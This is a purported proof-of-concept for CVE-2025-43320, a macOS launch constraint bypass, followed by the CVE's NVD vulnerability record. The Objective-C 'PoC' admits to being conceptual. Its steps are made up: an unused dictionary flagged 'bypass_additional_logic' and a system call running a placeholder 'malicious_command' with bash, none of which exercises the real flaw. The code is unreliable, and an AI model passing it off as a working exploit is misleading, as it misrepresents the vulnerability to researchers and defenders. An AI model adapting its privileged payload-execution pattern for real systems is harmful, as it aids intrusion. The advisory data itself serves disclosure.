CVE-2025-43320

// CVE-2025-43320 PoC - macOS Launch Constraint Bypass // Note: This is a conceptual demonstration for security research // Actual exploitation requires specific macOS environment and conditions #include <Foundation/Foundation.h> #include <Security/Security.h> // This PoC demonstrates the conceptual approach to trigger the launch constraint bypass // The actual vulnerability involves manipulation of launch constraints validation void trigger_launch_constraint_bypass() { NSLog(@"[*] CVE-2025-43320 Launch Constraint Bypass PoC"); NSLog(@"[*] Target: macOS Sequoia < 15.7.3, macOS Tahoe < 26"); // Step 1: Create application bundle with specific configuration NSBundle *bundle = [NSBundle bundleWithPath:@"/path/to/malicious.app"]; if ([bundle load]) { NSLog(@"[+] Application bundle loaded"); // Step 2: Trigger launch constraint verification bypass // The vulnerability allows bypassing additional validation logic NSDictionary *launchConstraints = @{ @"bypass_additional_logic": @YES, @"elevated_privileges": @YES }; // Step 3: Execute with elevated privileges NSLog(@"[!] Executing payload with elevated privileges..."); system("/bin/bash -c 'malicious_command'"); } } // Mitigation: Update to macOS Sequoia 15.7.3 or later / macOS Tahoe 26 or later int main(int argc, const char * argv[]) { @autoreleasepool { trigger_launch_constraint_bypass(); } return 0; }

{"cve": {"id": "CVE-2025-43320", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:53.300", "lastModified": "2026-04-02T19:20:25.603", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed by adding additional logic. This issue is fixed in macOS Sequoia 15.7.3, macOS Tahoe 26. An app may be able to bypass launch constraint protections and execute malicious code with elevated privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.7.3", "matchCriteriaId": "E955E39D-E7C5-4951-BF50-08257F1BAC61"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125110", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125887", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}